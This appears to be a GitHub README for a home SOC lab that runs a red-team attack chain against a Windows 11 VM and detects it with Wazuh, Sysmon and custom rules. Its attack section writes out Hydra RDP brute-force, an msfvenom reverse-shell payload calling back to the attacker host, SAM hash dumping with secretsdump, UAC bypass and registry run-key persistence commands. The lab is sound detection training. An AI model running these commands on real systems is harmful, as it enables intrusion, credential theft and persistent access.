Skip to content

About

SOC Home Lab for threat detection and incident response, featuring Wazuh (SIEM/XDR), pfSense (Firewall), Kali Linux (adversary), and Windows 11 Enterprise (target).

Topics

Resources

Stars

0 stars

Watchers

0 watching

Forks

Latest commit

Β 

History

82 Commits

Folders and files

NameName
Last commit message
Last commit date
Β 
Β 
Β 
Β 

Repository files navigation

πŸ›‘οΈ End-to-End SOC Automation & Threat Detection Lab

Lab Architecture

Wazuh pfSense Kali Linux Windows 11 MITRE ATT&CK

A full-lifecycle, hands-on Security Operations Center lab covering infrastructure deployment, adversary simulation (Red Team), and detection & response (Blue Team) β€” built entirely on virtualized infrastructure with enterprise-grade tooling.


πŸ“‹ Table of Contents

  1. Project Overview
  2. Lab Architecture
  3. Phase 1 β€” Virtual Infrastructure & Networking
  4. Phase 2 β€” Gateway & Endpoint Deployment
  5. Phase 3 β€” Attack Simulation (Red Team)
  6. Attack vs Detection Mapping
  7. Phase 4 β€” Detection & Analysis (Blue Team)
  8. Detection Engineering
  9. Incident Summary
  10. Key Skills & Tools
  11. Key Takeaways

πŸ” Project Overview

This project demonstrates the complete lifecycle of a modern Security Operations Center (SOC) β€” from building the isolated lab environment to executing multi-stage adversarial attacks and detecting every step with a production-grade SIEM/XDR stack.

The lab simulates a realistic enterprise network where:

  • πŸ”΄ Red Team (Kali Linux) performs recon, exploitation, privilege escalation, persistence, and credential harvesting
  • πŸ”΅ Blue Team (Wazuh SIEM + pfSense) detects, alerts, and maps every malicious action to the MITRE ATT&CK framework

Core Technologies:

Category Tool Purpose
SIEM / XDR Wazuh Log aggregation, alerting, threat hunting
Firewall / Gateway pfSense Network segmentation, traffic control
Endpoint Telemetry Sysmon Granular Windows process/registry/network logging
Adversary Simulation Metasploit / Impacket / Hydra Exploitation & post-exploitation
Target Windows 11 Victim endpoint
Attack Platform Kali Linux Red team operations

πŸ—οΈ Lab Architecture

The entire lab runs on an isolated Virtual LAN (VMnet2) to simulate an enterprise environment safely. pfSense acts as the core gateway bridging NAT (internet) to the internal segment.

β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
β”‚                      VMnet2 (Isolated LAN)                  β”‚
β”‚                                                             β”‚
β”‚   β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”     β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”    β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”  β”‚
β”‚   β”‚  Wazuh SIEM  β”‚     β”‚  Windows 11  β”‚    β”‚ Kali Linux β”‚  β”‚
β”‚   β”‚  (Ubuntu)    │◄────│  (Target)    │◄───│ (Attacker) β”‚  β”‚
β”‚   β”‚  3 GB RAM    β”‚     β”‚  2 GB RAM    β”‚    β”‚ 1.5 GB RAM β”‚  β”‚
β”‚   β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜     β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜    β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜  β”‚
β”‚          β–²                    β–²                   β”‚         β”‚
β”‚          β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”΄β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜        β”‚
β”‚                               β”‚                             β”‚
β”‚                     β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β–Όβ”€β”€β”€β”€β”€β”€β”€β”€β”                   β”‚
β”‚                     β”‚    pfSense FW    β”‚                   β”‚
β”‚                     β”‚ WAN (NAT) ◄──────┼──► Internet       β”‚
β”‚                     β”‚ LAN (VMnet2)     β”‚                   β”‚
β”‚                     β”‚ 512 MB RAM       β”‚                   β”‚
β”‚                     β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜                   β”‚
β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜

Lab Architecture Diagram


βš™οΈ Phase 1 β€” Virtual Infrastructure & Networking

Resource Allocation

Component OS Role RAM Disk
Wazuh Manager Ubuntu 22.04 SIEM / XDR 3 GB 50 GB
pfSense FreeBSD Firewall / Gateway 512 MB 20 GB
Windows 11 Windows 11 Target Endpoint 2 GB 60 GB
Kali Linux Debian Adversary 1.5 GB 40 GB

VM Configuration Screenshots

Wazuh Manager Settings:

Wazuh VM Settings

Kali Linux Settings:

Kali Linux VM Settings

pfSense Settings:

pfSense VM Settings

Windows 11 Settings:

Windows 11 VM Settings

πŸ’‘ Network Design: pfSense is configured with two network adapters β€” one on NAT (for internet access) and one on VMnet2 (internal LAN). This mirrors enterprise network design where the firewall bridges internal and external segments.


🌐 Phase 2 β€” Gateway & Endpoint Deployment

2.1 pfSense Firewall Setup

pfSense serves as the core router and firewall for the lab. It was installed with WAN (NAT) and LAN (VMnet2) interfaces configured for network isolation and controlled traffic flow.

Installation & Partitioning

pfSense Partitioning
Disk partitioning during install
Partition Editor
Partition editor configuration
Partition Scheme
Partition scheme selection
Final Partition
Completed partition layout

Network Interface Configuration

After installation, WAN and LAN interfaces were assigned and verified:

pfSense Initial Setup

pfSense Interface Assignment

pfSense Web Dashboard

pfSense Web Dashboard

Firewall Rule Adjustment

For lab purposes, the pfSense default block rule was temporarily disabled to allow the Wazuh agent traffic and permit attack simulation:

pfSense Firewall Rule


2.2 Windows 11 Target β€” Deployment & Hardening

Installation

Windows 11 was deployed by bypassing TPM and RAM requirements using a registry workaround during setup β€” a common technique for lab environments.

Bypass TPM Requirements
Bypassing TPM/RAM checks
Windows 11 Installing
Installation in progress
Windows Provisioning
Post-install provisioning
Internet Check
Internet connectivity verified

Network Connectivity Test

Successful ping to pfSense gateway confirmed proper LAN connectivity:

Ping pfSense Gateway

Windows Firewall β€” Disabled for Lab

Windows Firewall Disabled


2.3 Telemetry Stack β€” Sysmon + Wazuh Agent

To gain full visibility into endpoint activity, two monitoring components were deployed on Windows 11.

Sysmon Installation

Sysmon (System Monitor) was installed with a custom configuration to capture:

  • Process creation (Event ID 1)
  • Network connections (Event ID 3)
  • Registry modifications (Event ID 13)
  • File creation events (Event ID 11)

Sysmon Installation

Wazuh Agent β€” Deployment & Configuration

The Wazuh Agent was installed and configured to forward all Windows Event Logs and Sysmon events to the Wazuh Manager (SIEM).

Wazuh Agent Start

Wazuh Manager β€” Agent Connected

Wazuh Agents

Sysmon Config Finalized in Wazuh

Wazuh Sysmon Config


2.4 Wazuh SIEM β€” Dashboard & Status

Wazuh Dashboard Status

Wazuh Import


βš”οΈ Phase 3 β€” Attack Simulation (Red Team)

The attack follows the Cyber Kill Chain model: Reconnaissance β†’ Weaponization β†’ Initial Access β†’ Privilege Escalation β†’ Persistence β†’ Credential Access

All techniques are mapped to MITRE ATT&CK throughout.


3.1 Reconnaissance β€” Network & Service Discovery

Nmap β€” Host Discovery

Initial scan to identify live hosts and open services on the target subnet:

Nmap Attack Scan

Nmap β€” Full Port Scan

Comprehensive scan revealing critical open ports:

  • Port 3389 β€” RDP (Remote Desktop Protocol) β†’ target for brute force
  • Port 445 β€” SMB β†’ target for lateral movement

Nmap Full Port Scan

MITRE: T1046 β€” Network Service Discovery


3.2 Weaponization & Initial Access

Brute-Force RDP with Hydra

Hydra was used to brute-force RDP credentials against the Windows 11 target using a common wordlist:

hydra -l administrator -P /usr/share/wordlists/rockyou.txt rdp://[TARGET_IP]

Hydra RDP Brute Force

MITRE: T1110 β€” Brute Force

Payload Generation with msfvenom

A reverse shell payload was crafted using msfvenom for Windows execution:

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=[KALI_IP] LPORT=4444 -f exe -o payload.exe

MSFVenom Payload Generation

Payload Delivery via Python Web Server

The payload was hosted on a simple HTTP server for victim-side download:

python3 -m http.server 8080

Python Web Server

MITRE: T1105 β€” Ingress Tool Transfer


3.3 Exploitation β€” Meterpreter Session

A Metasploit multi/handler was configured to catch the reverse shell. Once the victim executed the payload, a Meterpreter session was established:

Meterpreter Shell

Meterpreter PS Output

MITRE: T1059 β€” Command and Scripting Interpreter


3.4 Privilege Escalation β€” UAC Bypass & SYSTEM

From a standard user context, UAC was bypassed and getsystem was executed to escalate to NT AUTHORITY\SYSTEM:

meterpreter > use exploit/windows/local/bypassuac
meterpreter > getsystem
UAC Bypass
UAC bypass executed
GetSystem Success
SYSTEM-level access achieved

MITRE: T1548.002 β€” Abuse Elevation Control Mechanism: Bypass User Account Control


3.5 Credential Harvesting β€” SAM Database Dump

Impacket Secretsdump (T1003.002)

Using Impacket's secretsdump, all local NTLM hashes were extracted remotely from the SAM (Security Account Manager) database:

impacket-secretsdump administrator:[PASSWORD]@[TARGET_IP]

Secretsdump SAM

MITRE: T1003.002 β€” OS Credential Dumping: Security Account Manager


3.6 Remote Execution β€” WMIExec & NetExec

Impacket WMIExec

Remote command execution using WMI with harvested credentials:

impacket-wmiexec administrator@[TARGET_IP]

WMIExec Remote Execution

NetExec (NXC) β€” Command Execution

NetExec was used for additional remote command execution and network enumeration:

NetExec Command Execution

MITRE: T1047 β€” Windows Management Instrumentation


3.7 Persistence β€” Registry Run Key & Process Migration

Process Migration + Registry Persistence

The Meterpreter session was migrated to explorer.exe (a trusted, long-running process) and a registry run key was created for persistence:

meterpreter > migrate -N explorer.exe
meterpreter > reg setval -k HKCU\Software\Microsoft\Windows\CurrentVersion\Run -v Updater -d 'C:\payload.exe'

Process Migration and Registry Key

MITRE: T1547.001 β€” Boot or Logon Autostart Execution: Registry Run Keys

Backdoor Account Creation

A hidden local administrator account was created for persistent access:

Backdoor User Creation

MITRE: T1136.001 β€” Create Account: Local Account


3.8 Lateral Movement β€” RDP with Backdoor Account

Using the newly created backdoor account, xfreerdp was used to establish a full GUI RDP session to the target:

RDP with Backdoor User

xfreerdp to Windows 11

MITRE: T1021.001 β€” Remote Services: Remote Desktop Protocol


πŸ“Š Attack vs Detection Mapping

# Attack Step Tool Used Detection Source Wazuh Alert MITRE ID
1 Reconnaissance Nmap pfSense firewall logs Port scan detected T1046
2 Brute Force Hydra Windows Event ID 4625 Multiple logon failures T1110
3 Initial Access RDP Windows Event ID 4624 Successful login from attacker IP T1078
4 Privilege Escalation Meterpreter / getsystem Sysmon Event ID 1 Suspicious process creation T1548
5 Credential Access Secretsdump Wazuh + NTLM logs SAM access / NTLM hash exposure T1003.002
6 Persistence Registry Run Key Sysmon Event ID 13 Autorun registry modification T1547.001
7 Lateral Movement WMIExec / NetExec Windows Event ID 4688 Remote command execution T1047
8 Persistence (Account) net user Windows Event ID 4720 New local account created T1136.001

πŸ›‘οΈ Phase 4 β€” Detection & Analysis (Blue Team)

Wazuh SIEM provided full visibility into each stage of the attack through correlated log data from multiple sources: Windows Security Logs, Sysmon, and pfSense.


4.1 Wazuh Overview Dashboard

Wazuh Overview Dashboard


4.2 Alerts Dashboard β€” Attack Footprint

Wazuh Alerts Dashboard


4.3 Brute Force Detection β€” Logon Failures

Wazuh triggered high-severity alerts based on Event ID 4625 (failed logon) patterns, identifying the Hydra brute-force attack in real time:

Wazuh Logon Failures


4.4 Attacker Attribution β€” Source IP Identification

Wazuh correlated multiple alerts back to the Kali Linux IP address, enabling quick attacker attribution:

Wazuh Attacker IP


4.5 Registry Persistence Detection

When the Meterpreter session wrote to HKCU\...\Run, Sysmon Event ID 13 triggered a high-severity Wazuh alert for the autorun registry modification:

Wazuh Registry Alert


4.6 Event Log Analysis β€” Process & Execution Forensics

Deep-dive event analysis in Wazuh revealing attacker process chains, parent-child relationships, and command-line arguments:

Wazuh Event Log Analysis


4.7 NTLM Hash Exposure in RDP Logs

Wazuh detected and logged NTLM authentication hashes from RDP logon events β€” a critical finding that would indicate potential Pass-the-Hash attack surface:

NTLM Hash Logs


4.8 Custom Detection Rule β€” Rule Description

Wazuh Rule Description


4.9 Threat Hunting β€” MITRE ATT&CK Mapping

The Wazuh Threat Hunting Dashboard mapped all detected activities to MITRE ATT&CK tactics and techniques, providing a structured view of the full attack chain:

Wazuh Threat Hunting

Wazuh Threat Hunting Dashboard


πŸ”§ Detection Engineering

Rule 1 β€” RDP Brute Force Detection

<rule id="100001" level="10">
  <if_sid>4625</if_sid>
  <frequency>5</frequency>
  <timeframe>60</timeframe>
  <description>Possible RDP brute force attack β€” 5+ failed logons in 60 seconds</description>
  <mitre>
    <id>T1110</id>
  </mitre>
</rule>
Field Value
Data Source Windows Security Logs
Event ID 4625 (Failed Logon)
Logic 5+ failures from same IP within 60 seconds
Severity Level 10 (High)
MITRE T1110 β€” Brute Force

Rule 2 β€” Registry Autorun Persistence Detection

<rule id="100002" level="12">
  <if_sid>60010</if_sid>
  <field name="win.eventdata.targetObject">HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run</field>
  <description>Possible persistence via registry run key modification</description>
  <mitre>
    <id>T1547.001</id>
  </mitre>
</rule>
Field Value
Data Source Sysmon Event ID 13
Logic Registry write to autorun locations
Target Path HKCU\Software\Microsoft\Windows\CurrentVersion\Run
Severity Level 12 (Critical)
MITRE T1547.001 β€” Registry Run Keys

Rule 3 β€” New Local Account Creation

<rule id="100003" level="10">
  <if_sid>4720</if_sid>
  <description>New local user account created β€” possible backdoor account</description>
  <mitre>
    <id>T1136.001</id>
  </mitre>
</rule>
Field Value
Data Source Windows Security Logs
Event ID 4720 (User Account Created)
MITRE T1136.001 β€” Create Local Account

🚨 Incident Summary

Attack Timeline

[Recon]       Nmap scan β†’ open RDP (3389) and SMB (445) discovered
     β”‚
     β–Ό
[Access]      Hydra brute-forces RDP credentials (Event ID 4625 x hundreds)
     β”‚
     β–Ό
[Login]       Attacker logs in via RDP (Event ID 4624)
     β”‚
     β–Ό
[Payload]     Msfvenom reverse shell delivered and executed
     β”‚
     β–Ό
[Shell]       Meterpreter session established
     β”‚
     β–Ό
[PrivEsc]     UAC bypassed β†’ SYSTEM privileges gained (Sysmon EID 1)
     β”‚
     β–Ό
[Creds]       Secretsdump extracts NTLM hashes from SAM
     β”‚
     β–Ό
[Persist]     Registry run key created (Sysmon EID 13) + backdoor account
     β”‚
     β–Ό
[LateralMov]  WMIExec / NetExec remote execution (Event ID 4688)

Impact Assessment

Area Impact
Confidentiality NTLM hashes exposed; potential credential reuse across systems
Integrity Registry modified; backdoor user created with admin privileges
Availability Persistent foothold established; system could be re-accessed at any time

Recommendations

Priority Recommendation
πŸ”΄ Critical Enable Account Lockout Policy (e.g. lock after 5 failed attempts)
πŸ”΄ Critical Restrict RDP access β€” firewall rules to allow only from trusted IPs
🟠 High Enable Network Level Authentication (NLA) for RDP
🟠 High Deploy MFA for all remote access
🟑 Medium Monitor registry autorun keys with Sysmon + alerting
🟑 Medium Audit local administrator accounts regularly
🟒 Low Enable Windows Defender / EDR alongside Wazuh for prevention layer

🧠 Key Skills & Tools

Blue Team

Category Tool / Skill
SIEM / XDR Wazuh Manager, Wazuh Agent, FIM, Custom Rules
Endpoint Telemetry Sysmon, Windows Event Viewer
Forensics NTLM hash analysis, log correlation, process chain analysis
Threat Intelligence MITRE ATT&CK framework mapping
Networking pfSense, VLAN isolation, firewall rule analysis

Red Team

Category Tool / Skill
Recon Nmap (host & port discovery)
Initial Access Hydra (brute force), MSFVenom (payload generation)
Exploitation Metasploit Framework, Meterpreter
Privilege Escalation UAC Bypass, getsystem
Credential Access Impacket Secretsdump (SAM)
Lateral Movement Impacket WMIExec, NetExec (NXC), xfreerdp
Persistence Registry Run Keys, backdoor account creation

πŸ“š Key Takeaways

  1. Log correlation is essential β€” no single log source tells the full story. Correlating Windows Security Logs, Sysmon, and firewall logs together exposed every step of the attack chain.

  2. Sysmon telemetry is invaluable β€” without Sysmon, critical actions like process migration to explorer.exe and registry autorun key creation would have been invisible.

  3. Brute-force attacks are noisy and detectable β€” hundreds of Event ID 4625 entries made the Hydra attack trivial to spot with even basic threshold-based alerting.

  4. NTLM over RDP is a credential risk β€” NTLM authentication hashes captured from RDP sessions create a Pass-the-Hash attack surface that organizations often overlook.

  5. MITRE ATT&CK provides structure β€” mapping every detected event to ATT&CK tactics and techniques transforms raw alerts into actionable threat intelligence.

  6. Defense in depth matters β€” the combination of network-level visibility (pfSense), endpoint telemetry (Sysmon), and centralized detection (Wazuh) created overlapping detection layers that would be very difficult for an attacker to evade entirely.


Built with πŸ›‘οΈ for learning, detection, and the art of the hunt.

All attacks were performed in an isolated lab environment. Never use these techniques against systems you do not own or have explicit written permission to test.

About

SOC Home Lab for threat detection and incident response, featuring Wazuh (SIEM/XDR), pfSense (Firewall), Kali Linux (adversary), and Windows 11 Enterprise (target).

Topics

Resources

Stars

0 stars

Watchers

0 watching

Forks

Releases

Packages

Contributors